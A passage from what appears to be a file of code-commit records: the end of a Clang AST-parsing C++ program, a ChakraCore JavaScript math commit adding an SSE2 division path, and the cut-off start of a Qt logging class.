aSourceManager->getInstantiationColumnNumber(vdc->getClassLoc()) << \" Filename: \" <<  aSourceManager->getBufferName(vdc->getClassLoc()) << std::endl;\n        }\n    }\n};\n\nint main()\n{\n\tclang::DiagnosticOptions diagnosticOptions;\n\tclang::TextDiagnosticPrinter *pTextDiagnosticPrinter =\n\t\tnew clang::TextDiagnosticPrinter(\n\t\t\tllvm::outs(),\n\t\t\tdiagnosticOptions);\n\tllvm::IntrusiveRefCntPtr<clang::DiagnosticIDs> pDiagIDs;\n\tclang::Diagnostic diagnostic(pDiagIDs, pTextDiagnosticPrinter);\n\n\tclang::LangOptions languageOptions;\n        languageOptions.ObjC1 = 1;\n        languageOptions.ObjC2 = 1;\n\tclang::FileSystemOptions fileSystemOptions;\n\tclang::FileManager fileManager(fileSystemOptions);\n\n\tclang::SourceManager sourceManager(\n        diagnostic,\n        fileManager);\n\tclang::HeaderSearch headerSearch(fileManager);\n\n\tclang::HeaderSearchOptions headerSearchOptions;\n\t\/\/ <Warning!!> -- Platform Specific Code lives here\n\t\/\/ This depends on A) that you're running linux and\n\t\/\/ B) that you have the same GCC LIBs installed that\n\t\/\/ I do. \n\t\/\/ Search through Clang itself for something like this,\n\t\/\/ go on, you won't find it. The reason why is Clang\n\t\/\/ has its own versions of std* which are installed under \n\t\/\/ \/usr\/local\/lib\/clang\/<version>\/include\/\n\t\/\/ See somewhere around Driver.cpp:77 to see Clang adding\n\t\/\/ its version of the headers to its include path.\n\theaderSearchOptions.AddPath(\"\/usr\/include\/linux\",\n\t\t\tclang::frontend::Angled,\n\t\t\tfalse,\n\t\t\tfalse,\n\t\t\tfalse);\n\n\n\n\n\theaderSearchOptions.AddPath(\"\/usr\/include\/c++\/4.4\/tr1\",\n\t\t\tclang::frontend::Angled,\n\t\t\tfalse,\n\t\t\tfalse,\n\t\t\tfalse);\n\theaderSearchOptions.AddPath(\"\/usr\/include\/c++\/4.4\",\n\t\t\tclang::frontend::Angled,\n\t\t\tfalse,\n\t\t\tfalse,\n\t\t\tfalse);\n\t\/\/ <\/Warning!!> -- End of Platform Specific Code\n\n\tclang::TargetOptions targetOptions;\n\ttargetOptions.Triple = llvm::sys::getHostTriple();\n\n\tclang::TargetInfo *pTargetInfo = \n\t\tclang::TargetInfo::CreateTargetInfo(\n\t\t\tdiagnostic,\n\t\t\ttargetOptions);\n\n\tclang::ApplyHeaderSearchOptions(\n\t\theaderSearch,\n\t\theaderSearchOptions,\n\t\tlanguageOptions,\n\t\tpTargetInfo->getTriple());\n\n\tclang::Preprocessor preprocessor(\n\t\tdiagnostic,\n\t\tlanguageOptions,\n\t\t*pTargetInfo,\n\t\tsourceManager,\n\t\theaderSearch);\n\n\tclang::PreprocessorOptions preprocessorOptions;\n\tclang::FrontendOptions frontendOptions;\n\tclang::InitializePreprocessor(\n\t\tpreprocessor,\n\t\tpreprocessorOptions,\n\t\theaderSearchOptions,\n\t\tfrontendOptions);\n\t\t\n\tconst clang::FileEntry *pFile = fileManager.getFile(\n        \"DCILatLon.m\");\n\tsourceManager.createMainFileID(pFile);\n\t\/\/preprocessor.EnterMainSourceFile();\n\n    const clang::TargetInfo &targetInfo = *pTargetInfo;\n\n    clang::IdentifierTable identifierTable(languageOptions);\n    clang::SelectorTable selectorTable;\n\n    clang::Builtin::Context builtinContext(targetInfo);\n    clang::ASTContext astContext(\n        languageOptions,\n        sourceManager,\n        targetInfo,\n        identifierTable,\n        selectorTable,\n        builtinContext,\n        0 \/* size_reserve*\/);\n   \/\/ clang::ASTConsumer astConsumer;\n    MyASTConsumer astConsumer(&sourceManager);\n\n    clang::Sema sema(\n        preprocessor,\n        astContext,\n        astConsumer);\n    sema.Initialize();\n\n   \/\/MySemanticAnalisys mySema( preprocessor, astContext, astConsumer);\n\n    \/\/clang::Parser parser( preprocessor, sema);\n    \/\/parser.ParseTranslationUnit();\n    pTextDiagnosticPrinter->BeginSourceFile(languageOptions, &preprocessor);\n    clang::ParseAST(preprocessor, &astConsumer, astContext); \n    pTextDiagnosticPrinter->EndSourceFile();\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>overflow in EstimateDataBitsFlat (#1459)<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/-------------------------------------------------------------------------------------------------------\n\/\/ Copyright (C) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n\/\/-------------------------------------------------------------------------------------------------------\nnamespace Js\n{\n#ifdef SSE2MATH\n    namespace SSE2\n    {\n#endif\n        __inline Var JavascriptMath::Increment(Var aRight, ScriptContext* scriptContext)\n        {\n            return Increment_Full(aRight, scriptContext);\n        }\n\n        __inline Var JavascriptMath::Decrement(Var aRight, ScriptContext* scriptContext)\n        {\n            return Decrement_Full(aRight, scriptContext);\n        }\n\n        __inline Var JavascriptMath::Negate(Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                (TaggedInt::Is(aRight) && aRight != TaggedInt::ToVarUnchecked(0) && aRight != TaggedInt::MinVal()) ?\n                    TaggedInt::NegateUnchecked(aRight) :\n                    Negate_Full(aRight,scriptContext);\n        }\n\n        __inline Var JavascriptMath::Not(Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::Is(aRight) ?\n                TaggedInt::Not(aRight,scriptContext) :\n                Not_Full(aRight,scriptContext);\n        }\n\n\n        __inline Var JavascriptMath::Or(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft,aRight) ?\n                TaggedInt::Or(aLeft,aRight) :\n                Or_Full(aLeft,aRight,scriptContext);\n        }\n\n        __inline Var JavascriptMath::And(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n#if FLOATVAR\n            return\n                TaggedInt::IsPair(aLeft,aRight) ?\n                TaggedInt::And(aLeft,aRight) :\n                And_Full(aLeft,aRight,scriptContext);\n#else\n            Var varSpeculative = TaggedInt::Speculative_And(aLeft, aRight);\n            if (TaggedInt::Is(varSpeculative))\n            {\n                return varSpeculative;\n            }\n\n            return And_Full(aLeft, aRight, scriptContext);\n#endif\n        }\n\n        __inline Var JavascriptMath::ShiftLeft(Var aLeft,Var aRight,ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft, aRight) ?\n                TaggedInt::ShiftLeft(aLeft, aRight,scriptContext) :\n                ShiftLeft_Full(aLeft, aRight,scriptContext);\n        }\n\n        __inline Var JavascriptMath::ShiftRight(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft, aRight) ?\n                TaggedInt::ShiftRight(aLeft, aRight) :\n                ShiftRight_Full(aLeft, aRight,scriptContext);\n        }\n\n        __inline Var JavascriptMath::ShiftRightU(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft, aRight) ?\n                TaggedInt::ShiftRightU(aLeft, aRight, scriptContext) :\n                ShiftRightU_Full(aLeft, aRight,scriptContext);\n        }\n\n        __inline Var JavascriptMath::Xor(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft, aRight) ?\n                TaggedInt::Xor(aLeft, aRight) :\n                Xor_Full(aLeft, aRight,scriptContext);\n        }\n\n        __inline double JavascriptMath::Decrement_Helper(Var aRight, ScriptContext* scriptContext)\n        {\n    #if defined(DBG)\n            if (TaggedInt::Is(aRight))\n            {\n                \/\/ The only reason to be here is if TaggedInt increment underflowed\n                AssertMsg(aRight == TaggedInt::MinVal(), \"TaggedInt decrement should be handled in generated code.\");\n            }\n    #endif\n\n            double value = JavascriptConversion::ToNumber(aRight, scriptContext);\n            return --value;\n        }\n\n        __inline double JavascriptMath::Increment_Helper(Var aRight, ScriptContext* scriptContext)\n        {\n    #if defined(DBG)\n            if (TaggedInt::Is(aRight))\n            {\n                \/\/ The only reason to be here is if TaggedInt increment overflowed\n                AssertMsg(aRight == TaggedInt::MaxVal(), \"TaggedInt increment should be handled in generated code.\");\n            }\n    #endif\n\n            double value = JavascriptConversion::ToNumber(aRight, scriptContext);\n            return ++value;\n        }\n\n        __inline double JavascriptMath::Negate_Helper(Var aRight,ScriptContext* scriptContext)\n        {\n            Assert(aRight != nullptr);\n            Assert(scriptContext != nullptr);\n\n            double value = JavascriptConversion::ToNumber(aRight, scriptContext);\n            return -value;\n        }\n\n        __inline int32 JavascriptMath::And_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            Assert(aLeft != nullptr);\n            Assert(aRight != nullptr);\n            Assert(scriptContext != nullptr);\n#if _M_IX86\n            AssertMsg(!TaggedInt::IsPair(aLeft, aRight), \"TaggedInt bitwise and should have been handled already\");\n#endif\n\n            int32 nLeft = JavascriptConversion::ToInt32(aLeft, scriptContext);\n            int32 nRight = JavascriptConversion::ToInt32(aRight, scriptContext);\n            return nLeft & nRight;\n        }\n\n        __inline int32 JavascriptMath::Or_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            Assert(aLeft != nullptr);\n            Assert(aRight != nullptr);\n            Assert(scriptContext != nullptr);\n#if _M_IX86\n            AssertMsg(!TaggedInt::IsPair(aLeft, aRight), \"TaggedInt bitwise or should have been handled already\");\n#endif\n            int32 nLeft = JavascriptConversion::ToInt32(aLeft, scriptContext);\n            int32 nRight = JavascriptConversion::ToInt32(aRight, scriptContext);\n            return nLeft | nRight;\n        }\n\n\n        __inline double JavascriptMath::Add_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            AssertMsg( !JavascriptString::Is(aLeft), \"Strings should have been handled already\" );\n            AssertMsg( !JavascriptString::Is(aRight), \"Strings should have been handled already\" );\n\n            double dblLeft = JavascriptConversion::ToNumber(aLeft, scriptContext);\n            double dblRight = JavascriptConversion::ToNumber(aRight, scriptContext);\n            return dblLeft + dblRight;\n        }\n\n        __inline Var JavascriptMath::Add(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft,aRight) ?\n                TaggedInt::Add(aLeft, aRight, scriptContext) :\n                Add_Full(aLeft, aRight, scriptContext);\n        }\n\n        __inline Var JavascriptMath::Subtract(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft,aRight) ?\n                TaggedInt::Subtract(aLeft, aRight, scriptContext) :\n                Subtract_Full(aLeft, aRight, scriptContext);\n        }\n\n        __inline double JavascriptMath::Subtract_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            Assert(aLeft != nullptr);\n            Assert(aRight != nullptr);\n            Assert(scriptContext != nullptr);\n\n            \/\/ The IEEE 754 floating point spec ensures that NaNs are preserved in all operations\n            double dblLeft = JavascriptConversion::ToNumber(aLeft, scriptContext);\n            double dblRight = JavascriptConversion::ToNumber(aRight, scriptContext);\n            return dblLeft - dblRight;\n        }\n\n        __inline Var JavascriptMath::Multiply(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft,aRight) ?\n                TaggedInt::Multiply(aLeft, aRight, scriptContext) :\n                Multiply_Full(aLeft, aRight, scriptContext);\n        }\n\n        __inline Var JavascriptMath::Exponentiation(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return Exponentiation_Full(aLeft, aRight, scriptContext);\n        }\n\n\n        __inline double JavascriptMath::Multiply_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            Assert(aLeft != nullptr);\n            Assert(aRight != nullptr);\n            Assert(scriptContext != nullptr);\n\n            \/\/ The IEEE 754 floating point spec ensures that NaNs are preserved in all operations\n            return JavascriptConversion::ToNumber(aLeft, scriptContext) * JavascriptConversion::ToNumber(aRight, scriptContext);\n        }\n\n        __inline Var JavascriptMath::Divide(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            \/\/ The TaggedInt,TaggedInt case is handled within Divide_Full\n            return Divide_Full(aLeft, aRight,scriptContext);\n        }\n\n        __inline double JavascriptMath::Divide_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            Assert(aLeft != nullptr);\n            Assert(aRight != nullptr);\n            Assert(scriptContext != nullptr);\n\n#if !defined(_M_ARM32_OR_ARM64)\n            AssertMsg(!TaggedInt::IsPair(aLeft, aRight), \"Integer division should have been handled already\");\n#endif\n\n            \/\/ The IEEE 754 floating point spec ensures that NaNs are preserved in all operations\n            return JavascriptConversion::ToNumber(aLeft, scriptContext) \/ JavascriptConversion::ToNumber(aRight, scriptContext);\n        }\n\n        __inline Var JavascriptMath::Modulus(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return Modulus_Full(aLeft, aRight, scriptContext);\n        }\n\n        __inline double JavascriptMath::Modulus_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            double dblLeft = JavascriptConversion::ToNumber(aLeft, scriptContext);\n            double dblRight = JavascriptConversion::ToNumber(aRight, scriptContext);\n            return NumberUtilities::Modulus(dblLeft, dblRight);\n        }\n\n#if defined(_M_ARM32_OR_ARM64)\n        __inline int32 JavascriptMath::ToInt32Core(double T1)\n        {\n            \/\/ Try the int32 conversion first and only do the more expensive (& closer to spec)\n            \/\/ i64 conversion if it fails.\n            __int32 i32 = (__int32)T1;\n            if ((i32 != 0x80000000) && (i32 != 0x7fffffff))\n                return i32;     \/\/No overflow so just return i32\n\n            int64 T4_64 = TryToInt64(T1);\n            if (!NumberUtilities::IsValidTryToInt64(T4_64)) \/\/ overflow\n            {\n                T4_64 = ToInt32ES5OverflowHelper(T1);\n            }\n\n            return static_cast<int32>(T4_64);\n        }\n#else\n        __inline int32 JavascriptMath::ToInt32Core(double T1)\n        {\n            \/\/ ES5 Spec for ToUInt32\n            \/\/\n            \/\/  T3 = sign(T1) * floor(abs(T1))\n            \/\/  T4 = T3 % 2^32\n            \/\/\n            \/\/ Casting gives equivalent result, except when T1 > INT64_MAX, or T1 < INT64_MIN (or NaN Inf Zero),\n            \/\/ in which case we'll use slow path.\n\n            \/\/ Try casting to int32 first. Results in 0x80000000 if it overflows.\n            int32 T4_32 = static_cast<int32>(T1);\n            if (T4_32 != 0x80000000)\n            {\n                return T4_32;\n            }\n\n            int64 T4_64 = TryToInt64(T1);\n            if (T4_64 == 0x8000000000000000) \/\/ overflow && ES5\n            {\n                T4_64 = ToInt32ES5OverflowHelper(T1);\n            }\n\n            return static_cast<int32>(T4_64);\n        }\n#endif\n\n        \/\/ Implements platform-agnostic part of handling overflow when converting Number to int32, ES5 version.\n        __inline __int64 JavascriptMath::ToInt32ES5OverflowHelper(double d)\n        {\n            if (IsNanInfZero(d)) \/\/ ShortCut NaN Inf Zero\n            {\n                return 0;\n            }\n            const double k_2to32 = 4294967296.0;\n            double floored;\n\n#pragma prefast(suppress:6031, \"We don't care about the fraction part\")\n            modf(d, &floored);                      \/\/ take out the floating point part.\n            double m2to32 = fmod(floored, k_2to32); \/\/ divide modulo 2^32.\n            __int64 result = TryToInt64(m2to32);\n\n            AssertMsg(NumberUtilities::IsValidTryToInt64(result), \"No more overflow expected\");\n\n            return result;\n        }\n\n        __inline BOOL JavascriptMath::IsNanInfZero(double v)\n        {\n            return JavascriptNumber::IsNan(v) || JavascriptNumber::IsZero(v) || JavascriptNumber::IsPosInf(v) || JavascriptNumber::IsNegInf(v);\n        }\n\n        __inline int64 JavascriptMath::TryToInt64(double T1)\n        {\n            return Js::NumberUtilities::TryToInt64(T1);\n        }\n\n        __inline int32 JavascriptMath::ToInt32_NoObjects(Var aValue, ScriptContext* scriptContext, bool& isObject)\n        {\n            if (JavascriptOperators::IsObject(aValue))\n            {\n                isObject = true; \/\/ jitted code should bailout\n                return 0;\n            }\n\n            isObject = false;\n            return ToInt32(aValue, scriptContext);\n        }\n\n        __inline int32 JavascriptMath::ToInt32(Var aValue, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::Is(aValue) ?\n                TaggedInt::ToInt32(aValue) :\n                ToInt32_Full(aValue, scriptContext);\n        }\n#ifdef SSE2MATH\n    }\n#endif\n}\n<commit_msg>update interpreter to use SSE2 div when possible<commit_after>\/\/-------------------------------------------------------------------------------------------------------\n\/\/ Copyright (C) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n\/\/-------------------------------------------------------------------------------------------------------\n\n#include \"RuntimeMathPch.h\"\n\nnamespace Js\n{\n#ifdef SSE2MATH\n    namespace SSE2\n    {\n#endif\n        __inline Var JavascriptMath::Increment(Var aRight, ScriptContext* scriptContext)\n        {\n            return Increment_Full(aRight, scriptContext);\n        }\n\n        __inline Var JavascriptMath::Decrement(Var aRight, ScriptContext* scriptContext)\n        {\n            return Decrement_Full(aRight, scriptContext);\n        }\n\n        __inline Var JavascriptMath::Negate(Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                (TaggedInt::Is(aRight) && aRight != TaggedInt::ToVarUnchecked(0) && aRight != TaggedInt::MinVal()) ?\n                    TaggedInt::NegateUnchecked(aRight) :\n                    Negate_Full(aRight,scriptContext);\n        }\n\n        __inline Var JavascriptMath::Not(Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::Is(aRight) ?\n                TaggedInt::Not(aRight,scriptContext) :\n                Not_Full(aRight,scriptContext);\n        }\n\n\n        __inline Var JavascriptMath::Or(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft,aRight) ?\n                TaggedInt::Or(aLeft,aRight) :\n                Or_Full(aLeft,aRight,scriptContext);\n        }\n\n        __inline Var JavascriptMath::And(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n#if FLOATVAR\n            return\n                TaggedInt::IsPair(aLeft,aRight) ?\n                TaggedInt::And(aLeft,aRight) :\n                And_Full(aLeft,aRight,scriptContext);\n#else\n            Var varSpeculative = TaggedInt::Speculative_And(aLeft, aRight);\n            if (TaggedInt::Is(varSpeculative))\n            {\n                return varSpeculative;\n            }\n\n            return And_Full(aLeft, aRight, scriptContext);\n#endif\n        }\n\n        __inline Var JavascriptMath::ShiftLeft(Var aLeft,Var aRight,ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft, aRight) ?\n                TaggedInt::ShiftLeft(aLeft, aRight,scriptContext) :\n                ShiftLeft_Full(aLeft, aRight,scriptContext);\n        }\n\n        __inline Var JavascriptMath::ShiftRight(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft, aRight) ?\n                TaggedInt::ShiftRight(aLeft, aRight) :\n                ShiftRight_Full(aLeft, aRight,scriptContext);\n        }\n\n        __inline Var JavascriptMath::ShiftRightU(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft, aRight) ?\n                TaggedInt::ShiftRightU(aLeft, aRight, scriptContext) :\n                ShiftRightU_Full(aLeft, aRight,scriptContext);\n        }\n\n        __inline Var JavascriptMath::Xor(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft, aRight) ?\n                TaggedInt::Xor(aLeft, aRight) :\n                Xor_Full(aLeft, aRight,scriptContext);\n        }\n\n        __inline double JavascriptMath::Decrement_Helper(Var aRight, ScriptContext* scriptContext)\n        {\n    #if defined(DBG)\n            if (TaggedInt::Is(aRight))\n            {\n                \/\/ The only reason to be here is if TaggedInt increment underflowed\n                AssertMsg(aRight == TaggedInt::MinVal(), \"TaggedInt decrement should be handled in generated code.\");\n            }\n    #endif\n\n            double value = JavascriptConversion::ToNumber(aRight, scriptContext);\n            return --value;\n        }\n\n        __inline double JavascriptMath::Increment_Helper(Var aRight, ScriptContext* scriptContext)\n        {\n    #if defined(DBG)\n            if (TaggedInt::Is(aRight))\n            {\n                \/\/ The only reason to be here is if TaggedInt increment overflowed\n                AssertMsg(aRight == TaggedInt::MaxVal(), \"TaggedInt increment should be handled in generated code.\");\n            }\n    #endif\n\n            double value = JavascriptConversion::ToNumber(aRight, scriptContext);\n            return ++value;\n        }\n\n        __inline double JavascriptMath::Negate_Helper(Var aRight,ScriptContext* scriptContext)\n        {\n            Assert(aRight != nullptr);\n            Assert(scriptContext != nullptr);\n\n            double value = JavascriptConversion::ToNumber(aRight, scriptContext);\n            return -value;\n        }\n\n        __inline int32 JavascriptMath::And_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            Assert(aLeft != nullptr);\n            Assert(aRight != nullptr);\n            Assert(scriptContext != nullptr);\n#if _M_IX86\n            AssertMsg(!TaggedInt::IsPair(aLeft, aRight), \"TaggedInt bitwise and should have been handled already\");\n#endif\n\n            int32 nLeft = JavascriptConversion::ToInt32(aLeft, scriptContext);\n            int32 nRight = JavascriptConversion::ToInt32(aRight, scriptContext);\n            return nLeft & nRight;\n        }\n\n        __inline int32 JavascriptMath::Or_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            Assert(aLeft != nullptr);\n            Assert(aRight != nullptr);\n            Assert(scriptContext != nullptr);\n#if _M_IX86\n            AssertMsg(!TaggedInt::IsPair(aLeft, aRight), \"TaggedInt bitwise or should have been handled already\");\n#endif\n            int32 nLeft = JavascriptConversion::ToInt32(aLeft, scriptContext);\n            int32 nRight = JavascriptConversion::ToInt32(aRight, scriptContext);\n            return nLeft | nRight;\n        }\n\n\n        __inline double JavascriptMath::Add_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            AssertMsg( !JavascriptString::Is(aLeft), \"Strings should have been handled already\" );\n            AssertMsg( !JavascriptString::Is(aRight), \"Strings should have been handled already\" );\n\n            double dblLeft = JavascriptConversion::ToNumber(aLeft, scriptContext);\n            double dblRight = JavascriptConversion::ToNumber(aRight, scriptContext);\n            return dblLeft + dblRight;\n        }\n\n        __inline Var JavascriptMath::Add(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft,aRight) ?\n                TaggedInt::Add(aLeft, aRight, scriptContext) :\n                Add_Full(aLeft, aRight, scriptContext);\n        }\n\n        __inline Var JavascriptMath::Subtract(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft,aRight) ?\n                TaggedInt::Subtract(aLeft, aRight, scriptContext) :\n                Subtract_Full(aLeft, aRight, scriptContext);\n        }\n\n        __inline double JavascriptMath::Subtract_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            Assert(aLeft != nullptr);\n            Assert(aRight != nullptr);\n            Assert(scriptContext != nullptr);\n\n            \/\/ The IEEE 754 floating point spec ensures that NaNs are preserved in all operations\n            double dblLeft = JavascriptConversion::ToNumber(aLeft, scriptContext);\n            double dblRight = JavascriptConversion::ToNumber(aRight, scriptContext);\n            return dblLeft - dblRight;\n        }\n\n        __inline Var JavascriptMath::Multiply(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::IsPair(aLeft,aRight) ?\n                TaggedInt::Multiply(aLeft, aRight, scriptContext) :\n                Multiply_Full(aLeft, aRight, scriptContext);\n        }\n\n        __inline Var JavascriptMath::Exponentiation(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return Exponentiation_Full(aLeft, aRight, scriptContext);\n        }\n\n\n        __inline double JavascriptMath::Multiply_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            Assert(aLeft != nullptr);\n            Assert(aRight != nullptr);\n            Assert(scriptContext != nullptr);\n\n            \/\/ The IEEE 754 floating point spec ensures that NaNs are preserved in all operations\n            return JavascriptConversion::ToNumber(aLeft, scriptContext) * JavascriptConversion::ToNumber(aRight, scriptContext);\n        }\n\n        __inline Var JavascriptMath::Divide(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n#if defined(_M_IX86) && !defined(SSE2MATH)\n            if (AutoSystemInfo::Data.SSE2Available())\n            {\n                return SSE2::JavascriptMath::Divide_Full(aLeft, aRight, scriptContext);\n            }\n            else\n#endif\n            {\n                \/\/ The TaggedInt,TaggedInt case is handled within Divide_Full\n                return Divide_Full(aLeft, aRight, scriptContext);\n            }\n        }\n\n        __inline double JavascriptMath::Divide_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            Assert(aLeft != nullptr);\n            Assert(aRight != nullptr);\n            Assert(scriptContext != nullptr);\n\n#if !defined(_M_ARM32_OR_ARM64)\n            AssertMsg(!TaggedInt::IsPair(aLeft, aRight), \"Integer division should have been handled already\");\n#endif\n\n            \/\/ The IEEE 754 floating point spec ensures that NaNs are preserved in all operations\n            return JavascriptConversion::ToNumber(aLeft, scriptContext) \/ JavascriptConversion::ToNumber(aRight, scriptContext);\n        }\n\n        __inline Var JavascriptMath::Modulus(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            return Modulus_Full(aLeft, aRight, scriptContext);\n        }\n\n        __inline double JavascriptMath::Modulus_Helper(Var aLeft, Var aRight, ScriptContext* scriptContext)\n        {\n            double dblLeft = JavascriptConversion::ToNumber(aLeft, scriptContext);\n            double dblRight = JavascriptConversion::ToNumber(aRight, scriptContext);\n            return NumberUtilities::Modulus(dblLeft, dblRight);\n        }\n\n#if defined(_M_ARM32_OR_ARM64)\n        __inline int32 JavascriptMath::ToInt32Core(double T1)\n        {\n            \/\/ Try the int32 conversion first and only do the more expensive (& closer to spec)\n            \/\/ i64 conversion if it fails.\n            __int32 i32 = (__int32)T1;\n            if ((i32 != 0x80000000) && (i32 != 0x7fffffff))\n                return i32;     \/\/No overflow so just return i32\n\n            int64 T4_64 = TryToInt64(T1);\n            if (!NumberUtilities::IsValidTryToInt64(T4_64)) \/\/ overflow\n            {\n                T4_64 = ToInt32ES5OverflowHelper(T1);\n            }\n\n            return static_cast<int32>(T4_64);\n        }\n#else\n        __inline int32 JavascriptMath::ToInt32Core(double T1)\n        {\n            \/\/ ES5 Spec for ToUInt32\n            \/\/\n            \/\/  T3 = sign(T1) * floor(abs(T1))\n            \/\/  T4 = T3 % 2^32\n            \/\/\n            \/\/ Casting gives equivalent result, except when T1 > INT64_MAX, or T1 < INT64_MIN (or NaN Inf Zero),\n            \/\/ in which case we'll use slow path.\n\n            \/\/ Try casting to int32 first. Results in 0x80000000 if it overflows.\n            int32 T4_32 = static_cast<int32>(T1);\n            if (T4_32 != 0x80000000)\n            {\n                return T4_32;\n            }\n\n            int64 T4_64 = TryToInt64(T1);\n            if (T4_64 == 0x8000000000000000) \/\/ overflow && ES5\n            {\n                T4_64 = ToInt32ES5OverflowHelper(T1);\n            }\n\n            return static_cast<int32>(T4_64);\n        }\n#endif\n\n        \/\/ Implements platform-agnostic part of handling overflow when converting Number to int32, ES5 version.\n        __inline __int64 JavascriptMath::ToInt32ES5OverflowHelper(double d)\n        {\n            if (IsNanInfZero(d)) \/\/ ShortCut NaN Inf Zero\n            {\n                return 0;\n            }\n            const double k_2to32 = 4294967296.0;\n            double floored;\n\n#pragma prefast(suppress:6031, \"We don't care about the fraction part\")\n            modf(d, &floored);                      \/\/ take out the floating point part.\n            double m2to32 = fmod(floored, k_2to32); \/\/ divide modulo 2^32.\n            __int64 result = TryToInt64(m2to32);\n\n            AssertMsg(NumberUtilities::IsValidTryToInt64(result), \"No more overflow expected\");\n\n            return result;\n        }\n\n        __inline BOOL JavascriptMath::IsNanInfZero(double v)\n        {\n            return JavascriptNumber::IsNan(v) || JavascriptNumber::IsZero(v) || JavascriptNumber::IsPosInf(v) || JavascriptNumber::IsNegInf(v);\n        }\n\n        __inline int64 JavascriptMath::TryToInt64(double T1)\n        {\n            return Js::NumberUtilities::TryToInt64(T1);\n        }\n\n        __inline int32 JavascriptMath::ToInt32_NoObjects(Var aValue, ScriptContext* scriptContext, bool& isObject)\n        {\n            if (JavascriptOperators::IsObject(aValue))\n            {\n                isObject = true; \/\/ jitted code should bailout\n                return 0;\n            }\n\n            isObject = false;\n            return ToInt32(aValue, scriptContext);\n        }\n\n        __inline int32 JavascriptMath::ToInt32(Var aValue, ScriptContext* scriptContext)\n        {\n            return\n                TaggedInt::Is(aValue) ?\n                TaggedInt::ToInt32(aValue) :\n                ToInt32_Full(aValue, scriptContext);\n        }\n#ifdef SSE2MATH\n    }\n#endif\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  Simple Logger for Qt\n\n  Mario Ban, 05.2015\n\n  GNU General Public License v2.0\n  Copyright (C) 2015 Mario Ban\n*\/\n\n#include \"simpleQtLogger.h\"\n\n#include <QCoreApplication>\n#include <QTimer>\n#include <QDateTime>\n#include <QFileInfo>\n#include <QtDebug>\n\n\/* Log-level *\/\nbool SQTL_LOG_ENABLE_FATAL = true;\nbool SQTL_LOG_ENABLE_ERROR = true;\nbool SQTL_LOG_ENABLE_WARNING = true;\nbool SQTL_LOG_ENABLE_INFO = true;\nbool SQTL_LOG_ENABLE_DEBUG = false;\nbool SQTL_LOG_ENABLE_FUNCTION = false;\n\n\/\/ -------------------------------------------------------------------------------------------------\n\nSimpleQtLogger::SimpleQtLogger(QObject *parent)\n  : QObject(parent)\n  , _logFileRotationSize(0)\n  , _logFileMaxNumber(0)\n  , _stackDepth(0)\n  , _logFile(0)\n  , _logFileActivity(false)\n{\n  qDebug(\"SimpleQtLogger::SimpleQtLogger\");\n\n  Qt::ConnectionType connectionType = Qt::DirectConnection;\n#if ENABLED_SQTL_LOG_SINK_FILE > 0\n  QObject::connect(this, SIGNAL(signalLog(const QString&, const QString&, SQTL_LOG_Level, const QString&, const QString&, unsigned int)),\n    this, SLOT(slotLog_File(const QString&, const QString&, SQTL_LOG_Level, const QString&, const QString&, unsigned int)), connectionType);\n#endif\n#if 